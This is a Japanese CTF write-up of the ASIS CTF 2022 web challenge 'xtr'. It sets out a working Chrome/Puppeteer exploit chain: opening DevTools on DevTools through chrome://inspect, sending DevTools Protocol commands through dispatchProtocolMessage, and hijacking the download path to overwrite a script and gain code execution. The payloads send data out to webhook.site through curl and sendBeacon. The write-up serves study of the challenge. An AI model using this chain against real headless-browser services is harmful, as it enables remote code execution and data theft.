10/14 - 10/15という日程で開催された。zer0ptsで出て67位。Web問がとても面白かったし、Firewalled, xtrの2問はあともう少しで解けそうだという感覚があったのだけれども、結局解ききれず悔しい。悔しいので、競技時間中には解けなかった問題を復習したい。
[Web 423] xtr (3 solves)
wow i have xss on all pages. i wonder what is stopping me from getting rce...
nc xtr.asisctf.com 9000
概要
ソースコード付き。問題文に書かれている問題サーバに接続すると文字列の入力が求められるけど、最終的に subprocess.call(('docker run --rm xtr /app/run.sh '+s).split(' '))
(s
はユーザ入力) という感じで xtr
というDockerコンテナに渡される。
xtr
の Dockerfile
はこんな感じ。chmod 000
されている /flag.txt
というファイルを読むのが目的であるとわかる。/chmodflag
はこの /flag.txt
を chmod 444
する実行ファイルで、/chmodflag
を実行してから /flag.txt
を読むという流れになる。
FROM ubuntu:latest RUN apt-get update RUN apt-get upgrade -y RUN apt-get install -y curl RUN curl -fsSL https://deb.nodesource.com/setup_18.x | bash - RUN apt-get install -y ca-certificates fonts-liberation libappindicator3-1 libasound2 libatk-bridge2.0-0 libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 libgbm1 libgcc1 libglib2.0-0 libgtk-3-0 libnspr4 libnss3 libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 libxrender1 libxss1 libxtst6 lsb-release xdg-utils wget nodejs WORKDIR /tmp RUN wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb -q RUN dpkg -i ./google-chrome-stable_current_amd64.deb RUN rm ./google-chrome-stable_current_amd64.deb WORKDIR /app COPY ./stuff /app COPY ./stuff/chmodflag / COPY ./flag.txt /flag.txt RUN chmod 000 /flag.txt RUN chmod +x /app/run.sh /app/index.js /chmodflag RUN chmod u+s /chmodflag RUN PUPPETEER_SKIP_DOWNLOAD=1 npm install RUN useradd -m www RUN chown www /app -R USER www
/app/run.sh
は以下のような内容になっている。index.js
にそのままコマンドライン引数を流すだけ。
#!/bin/bash for var in "$@" do ./index.js "$var" done
/app/index.js
は以下のような内容だった。とてもシンプルな内容で、まずコマンドライン引数として与えられたJSONをパースし、url
というキーで指定されたURLを開く。そして、actions
というキーに入っている配列のそれぞれの要素について、それぞれ pageIdx
キーで指定したタブ上で、payload
キーで指定したJavaScriptコードを実行するという処理をしている。
#!/usr/bin/env node const puppeteer = require('puppeteer'); (async () => { const opts = JSON.parse(atob(process.argv[2])) let browser try { browser = await puppeteer.launch({ headless: 'chrome', pipe: true, args: [ "--no-sandbox", "--disable-setuid-sandbox", "--js-flags=--noexpose_wasm,--jitless", ], executablePath: "/usr/bin/google-chrome", }); console.log('[+] Browser online') let page = await browser.newPage(); await page.goto(opts.url.toString(), { timeout: 3000, waitUntil: 'domcontentloaded' }); let ackCnt = Math.min(10,+opts.actions.length) for(let i=0;i<ackCnt;i++){ let pages = await browser.pages() let idx = opts.actions[i].pageIdx let payload = opts.actions[i].payload.toString() await pages[idx].evaluate((s)=>eval(s),payload) await new Promise((r)=>setTimeout(r,300)); console.log(`[+] Executed payload ${i}`) } await page.close(); await browser.close(); browser = null; } catch(err){ } finally { if (browser) await browser.close(); console.log(`[+] Browser closed`) } })();
具体的には、次のようなJSONを投げるとまず https://example.com
を開き、開いたタブ上で console.log(123)
と location.href = '/hoge'
を順番に実行する。pageIdx
をいずれも 1
としているのは、https://example.com
を開く前にすでに about:blank
を開いているタブがあるから。
{ "url": "https://example.com", "actions": [{ "pageIdx": 1, "payload": "console.log(123)" }, { "pageIdx": 1, "payload": "location.href = '/hoge'" }] }
解法
私がこの問題に本格的に取り掛かる前にs1r1usさんがある程度戦略を考えていた。Chromeからなんとかして /chmodflag
という実行ファイルを実行する必要があるけど、その方法が問題となる。過去問にcorCTF 2021のsaasmeという問題があって、リンクを張ったwriteupではChrome DevTools Protocol(CDP) (*1) の一機能である Browser.setDownloadBehavior
というメソッドを使っていた。これはファイルダウンロード時の保存先のディレクトリを変更したりできる。これを使って、たとえば /etc/cron.d/
のようにファイルを書き込めると嬉しいディレクトリをダウンロード先に指定し、悪いファイルをダウンロードして実行させたりしたい(今回はChromeの実行ユーザが root
でないので、どこに書き込むか別途考える必要があるけれども)。
ではどうやってそれを実現するか。/app/index.js
を見ると chrome://
スキームのURLも開けることがわかるから、それでなんとかしてDevToolsのページ上で以前ChromiumにあったバグのPoCのように target.SDK.targetManager.mainTarget().pageAgent()
なるものを使ったり、あるいは別の事例のように DevToolsAPI.sendMessageToEmbedder
なるメソッドを呼べばよいのではないかという案をs1r1usさんが出していた。
いずれにしても、そのためにDevToolsをタブとして開いた上で、そこでJavaScriptコードを実行できるようにしたい。要はDevTools on DevToolsがしたいのだが、このStack Overflowの回答のように Ctrl + Shift + i
を押してDevToolsを開き、メニューからウィンドウとして切り離すボタンを押して、さらにそのウィンドウで Ctrl + Shift + i
を押すという手順は今回は使えない。別の方法を考える必要がある。
DevTools on DevTools
chrome://
スキームのページを色々触っていると、chrome://inspect/#other
に現在開かれているタブの一覧があり、各タブのURLの下にある inspect
ボタンを押すと、そのタブでDevToolsを開けることがわかった。これなら、document.querySelector
などで inspect
ボタンを選択し、HTMLElement.click
で押下というようにユーザインタラクションなしでJavaScriptコードでも操作を実現できる。
面白いことに、chrome://inspect/#other
ではすでに開かれているDevToolsに対しても inspect
ボタンを押してDevToolsを開ける。
index.js
でユーザから与えられたJavaScriptコードを実行している箇所に console.log(pages.map(p=>p.url()))
のようなコードを挿入して、開かれているタブを監視できるようにする。その上で、opts
に次のようなオブジェクトを入れてみる。
{ "url": "chrome://inspect/#other", "actions": [ { "pageIdx": 1, "payload": ` const els = [...document.querySelectorAll('[class=action]')].filter(e=>e.innerText==='inspect'); els[2].click(); ` }, { "pageIdx": 1, "payload": ` const els = [...document.querySelectorAll('[class=action]')].filter(e=>e.innerText==='inspect'); els[3].click(); ` }, { "pageIdx": 1, "payload": "for (let i = 0; i < 100000000; i++);" } ] }
実行してみると、次のように出力された。devtools://devtools/bundled/devtools_app.html?remoteBase=https://chrome-devtools-frontend.appspot.com/serve_file/@749e7387dde6e6b7074c8f0d2b12a6d316c66e09/&hasOtherClients=true
というタブが増えていて、ちゃんとDevToolsをタブとして開けていることがわかる。これで pageIdx
でDevToolsを開いているタブを指定して、そこで好きなJavaScriptコードを実行させられる。
$ node index.js [+] Browser online [ 'about:blank', 'chrome://inspect/#other' ] const els = [...document.querySelectorAll('[class=action]')].filter(e=>e.innerText==='inspect'); els[2].click(); [+] Executed payload 0 [ 'about:blank', 'chrome://inspect/#other' ] const els = [...document.querySelectorAll('[class=action]')].filter(e=>e.innerText==='inspect'); els[3].click(); [+] Executed payload 1 [ 'about:blank', 'chrome://inspect/#other', 'devtools://devtools/bundled/devtools_app.html?remoteBase=https://chrome-devtools-frontend.appspot.com/serve_file/@749e7387dde6e6b7074c8f0d2b12a6d316c66e09/&hasOtherClients=true' ] for (let i = 0; i < 100000000; i++); [+] Executed payload 2 [+] Browser closed
DevToolsAPI.sendMessageToEmbedder
念のために DevToolsAPI.sendMessageToEmbedder
が存在しているか確認してみる。opts
の actions
に次のオブジェクトを追加して実行してみる。ちゃんとWebhook.siteに function
という内容のPOSTが来て、ちゃんとDevTools上でJavaScriptコードが実行できており、DevToolsAPI.sendMessageToEmbedder
というメソッドが存在していることが確認できた。
{ "pageIdx": 2, "payload": "navigator.sendBeacon('https://webhook.site/(略)', typeof DevToolsAPI.sendMessageToEmbedder);" }
ここからどうするか。chrome/browser/devtools/devtools_embedder_message_dispatcher.cc
を眺めて DevToolsAPI.sendMessageToEmbedder
で使用できるメソッドを探していた(*2)のだけれども、残念ながら競技時間中には有用なものを見つけられなかった。save
というメソッドがファイルの保存ができそうに見えてそれっぽいが、呼んでみるとどこに保存するかというプロンプトが表示されてしまいダメ。ユーザインタラクションなしにできなければならない。
競技終了後に解法を共有するDiscordのチャンネルを眺めていたところ、Strellicさんがとても興味深い解法(閲覧にはASIS CTFのDiscordサーバへ参加のこと)を共有していた。なんと、DevToolsAPI.sendMessageToEmbedder
から呼び出せるメソッドに dispatchProtocolMessage
なるものがあったらしい。先程読んでいた devtools_embedder_message_dispatcher.cc
でもう一度探してみると、確かにある (*3)。
dispatchProtocolMessage
のハンドラに指定されている処理を追ってみると、その名の通りCDPのメッセージを送信できるメソッドであるとわかる。これを使えば Browser.setDownloadBehavior
を使ってファイルのダウンロード先を変えられる。
作問者のparrotさんによれば、DevToolsの(JavaScript側の)ソースコードを確認するというのが想定されていた dispatchProtocolMessage
を見つける方法だったとのこと。
ah you were close :( just a note you might be interested. the intended way to figure out the handler name was tracing the Javascript source code of chrome devtools. like how it receives cookies with Internal endpoints. "dispatchProtocolMessage" is used there a lot.
— parrot (@parrot409) October 15, 2022
試してみる。DevTools on DevToolsして、DevTools上で DevToolsAPI.sendMessageToEmbedder = function () { console.log(arguments); }
を実行して、
DevToolsAPI.sendMessageToEmbedder
が実行された際にどんな引数が渡ってきたかチェックできるようにする。そのまま適当なページを開いてみると、確かにいっぱい dispatchProtocolMessage
を呼び出している様子が確認できた。どう見てもCDPだ。なるほどなあ。
Browser.setDownloadBehavior
フラグまであと一歩だが、まだひとつ問題が残っている。Browser.setDownloadBehavior
を使ってどこにどんなファイルを保存するかだ。目的は /chmodflag
という実行ファイルの実行で、そのためにはRCEに持ち込む必要がある。その書き換えるファイルのパスについて、Strellicさんは /app/node_modules/puppeteer/lib/cjs/puppeteer/puppeteer.js
を、terjanqさんは /app/index.js
を選んでいたらしい。なぜそれでいけるのかという話だけれども、もう一度 /app/run.sh
を見てみるとわかる。コマンドライン引数を複数与えるとそれぞれでいちいち index.js
が走るという処理になっている。これは同じコンテナ内での処理だから、/app/index.js
を書き換えると、書き換えた後の内容のスクリプトが実行される。なぜ上書きされるかはよくわからない。
#!/bin/bash for var in "$@" do ./index.js "$var" done
試してみる。以下のようなオブジェクトを作り、JSONにシリアライズしてBase64エンコードする。
{ "url": "chrome://inspect/#other", "actions": [ { "pageIdx": 1, "payload": ` const els = [...document.querySelectorAll('[class=action]')].filter(e=>e.innerText==='inspect'); els[2].click(); ` }, { "pageIdx": 1, "payload": ` const els = [...document.querySelectorAll('[class=action]')].filter(e=>e.innerText==='inspect'); els[3].click(); ` }, { "pageIdx": 2, "payload": ` const message = JSON.stringify({ id: 1, method: 'Page.setDownloadBehavior', params: { behavior: 'allow', downloadPath: '/app/' } }); DevToolsAPI.sendMessageToEmbedder('dispatchProtocolMessage', [message], () => {}); ` }, { "pageIdx": 0, "payload": ` const a = document.createElement("a"); const blob = new Blob(["#!/bin/bash\\ncurl https://webhook.site/(略)?ok"], { type: "text/plain" }); a.download = "index.js"; a.href = URL.createObjectURL(blob); document.body.appendChild(a); a.click(); ` }, { "pageIdx": 1, "payload": "for (let i = 0; i < 100000000; i++);" } ] }
deploy.py
に投げてみると、curl
が実行されている様子が確認できた。
$ python3 deploy.py input: eyJ1(略)fV19 a [+] Browser online [+] Executed payload 0 [+] Executed payload 1 [+] Executed payload 2 [+] Executed payload 3 [+] Executed payload 4 [+] Browser closed % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- 0:00:01 --:--:-- 0
実行するコマンドを /chmodflag; cat /flag.txt
に変えた上で、今度は本物の問題サーバに投げてみる。
$ nc xtr.asisctf.com 9000 input: eyJ1(略)fQ== a [+] Browser online [+] Executed payload 0 [+] Executed payload 1 [+] Executed payload 2 [+] Executed payload 3 [+] Executed payload 4 [+] Browser closed ASIS{node+chrome+xss-lmao}
フラグが得られた。
ASIS{node+chrome+xss-lmao}
ということで、s1r1usさんが最初に立てていた方針ほぼそのままで解ける問題だった。ギャップを埋めるところで詰めが甘くて解けなかったのが悔しい。
-
そもそもCDPとはという話はドキュメントなどを参照のこと。リンク先の問題では同じくPuppeteerが使われていて、記憶が正しければ
puppeteer.launch
に渡されるオプションではpipe: false
となっていた。なので、127.0.0.1
のTCPのエフェメラルポートで待ち受けているところにSSRFして、そしてWebSocketを使ってCDPで通信することでChromeを操作…ということができたけど、残念ながら今回はpipe: true
なのでその手は使えない↩ -
「ストライクウィッチーズ ROAD to BERLIN」を見ながら探していた↩
-
どうしてこんなに便利そうなものを見逃したのか。これまでのCTF人生で2位か3位ぐらいに悔やまれるやらかしだった。ちなみに、ちゃんと動くexploitが完成していたのに、問題サーバのポート番号を間違えていたために解けなかったInCTF 2021 - Vuln Driveがダントツの1位。忘れられない↩